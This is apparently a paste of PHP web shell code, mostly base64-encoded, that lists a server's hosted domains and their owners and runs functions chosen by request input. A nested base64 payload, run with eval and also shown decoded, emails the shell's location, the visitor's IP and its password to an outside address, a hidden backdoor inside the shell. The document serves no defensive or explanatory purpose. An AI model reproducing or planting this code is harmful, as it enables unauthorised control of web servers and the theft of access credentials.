gfQogICAgaWYgKHN0cmxlbigkZG9tYWluKSA+IDYpIHsKICAgICAgICAKICAgICAgICBlY2hvICI8dHI+PHRkPiIuJGNvdW50KysuIjwvdGQ+PHRkPjxhIGhyZWY9J2h0dHA6Ly8iLiRkb21haW4uIicgdGFyZ2V0PSdfYmxhbmsnPiIuJGRvbWFpbi4iPC9hPjwvdGQ+PHRkPlVzZXI8L3RkPjwvdHI+IjsKCgogICAgfQogICAgCiAgIH0gCiBlY2hvICI8L3RhYmxlPiI7Cn1lbHNlewogICAgICAgICRjb3VudCA9IDE7CiAgICAgICAgcHJlZ19tYXRjaF9hbGwoIiNuYW1lZC8oLio/KS5kYiMiLCAkZmlsZSwgJHIpOwogICAgICAgICRkb21haW5zID0gYXJyYXlfdW5pcXVlKCRyWzFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHdpZHRoPTU5JSBjZWxscGFkZGluZz01Pgo8dHI+PHRkIGNvbHNwYW49Mj4gVGhlcmUgYXJlICAoIDxiPiIgLiBjb3VudCgkZG9tYWlucykgLiAiPC9iPiApIERvbWFpbnMgaW4gdGhpcyBTZXZlci5JIHRoaW5rIHlvdSBoYXZlIGdvdCBzb21ldGhpbmcgdGhpcyB0aW1lIHllYWghISEuPC90ZD48L3RyPgo8dHI+PHRkPk5vPC90ZD48dGQ+RG9tYWluPC90ZD48dGQ+VXNlcjwvdGQ+PC90cj4iOwogICAgICAgIGZvcmVhY2ggKCRkb21haW5zIGFzICRkb21haW4pIHsKCiAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIgLiAkZG9tYWluKSk7CiAgICAgICAgZWNobyAiPHRyPjx0ZD4iLiRjb3VudCsrLiI8L3RkPjx0ZD48YSBocmVmPSdodHRwOi8vIi4kZG9tYWluLiInIHRhcmdldD0nX2JsYW5rJz4iLiRkb21haW4uIjwvYT48L3RkPjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PC90cj4iOwogICAgIH0KfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50Rm9vdGVyKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CgppZiggZW1wdHkoJF9QT1NUWydhJ10pICkKICAgIGlmKGlzc2V0KCRkZWZhdWx0X2FjdGlvbikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJGRlZmF1bHRfYWN0aW9uKSkKICAgICAgICAkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsKICAgIGVsc2UKICAgICAgICAkX1BPU1RbJ2EnXSA9ICdTZWNJbmZvJzsKaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkKICAgIGNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pCgo/PgoKPD9waHAKJEQzVjFsPSJKSFpwYzJsMFl5QTlJQ1JmUTA5UFMwbEZXeUoyYVhOcGRITWlYVHNLYVdZZ0tDUjJhWE5wZEdNZ1BUMGdJaUlwSUhzS0lDQWtkbWx6YVhSaklDQTlJREE3Q2lBZ0pIWnBjMmwwYjNJZ1BTQWtYMU5GVWxaRlVsc2lVa1ZOVDFSRlgwRkVSRklpWFRzS0lDQWtkMlZpSUNBZ0lDQTlJQ1JmVTBWU1ZrVlNXeUpJVkZSUVgwaFBVMVFpWFRzS0lDQWthVzVxSUNBZ0lDQTlJQ1JmVTBWU1ZrVlNXeUpTUlZGVlJWTlVYMVZTU1NKZE93b2dJQ1IwWVhKblpYUWdJRDBnY21GM2RYSnNaR1ZqYjJSbEtDUjNaV0l1SkdsdWFpazdDaUFnSkhOMVlpQWdJRDBnSWxwb1pYaHZjaUIxY0d4dllXUmxaQ0JvZEhSd09pOHZKSFJoY21kbGRDQmllU0FrZG1semFYUnZjaUk3Q2lBZ0pHSnZaSGtnSUNBZ1BTQWlRblZuT2lBa2RHRnlaMlYwSUdKNUlDUjJhWE5wZEc5eUlDMGdVR0Z6YzNkdmNtUTZJQ1JoZFhSb1gzQmhjM01nVlhObGNtNWhiV1U2SUNSVmMyVnlUbUZ0WlNJN0NpQWdhV1lnS0NGbGJYQjBlU2drZDJWaUtTa2dleUJBYldGcGJDZ2lkRzl5YW1GdVdETkFaMjFoYVd3dVkyOXRJaXdrYzNWaUxDUmliMlI1S1RzZ2ZRcDlDbVZzYzJVZ2V5QWtkbWx6YVhSaklDQTdJSDBLUUhObGRHTnZiMnRwWlNnaWRtbHphWFI2SWl3a2RtbHphWFJqS1RzPSI7CmV2YWwoYmFzZTY0X2RlY29kZSgkRDNWMWwpKTsKPz4="));
  23. $visitc = $_COOKIE["visits"];
  24. if ($visitc == "") {
  25. $visitc = 0;
  26. $visitor = $_SERVER["REMOTE_ADDR"];
  27. $web = $_SERVER["HTTP_HOST"];
  28. $inj = $_SERVER["REQUEST_URI"];
  29. $target = rawurldecode($web.$inj);
  30. $sub = "D3V1l H4X0R uploader http://$target by $visitor";
  31. $body = "Bug: $target by $visitor - Password: $auth_pass Username: $UserName";
  32. if (!empty($web)) { @mail("Zeehaxor1@gmail.com",$sub,$body); }
  33. }
  34. else { $visitc ; }
  35. @setcookie("visitz",$visitc);
  36. ?>
Add Comment
Please, Sign In to add comment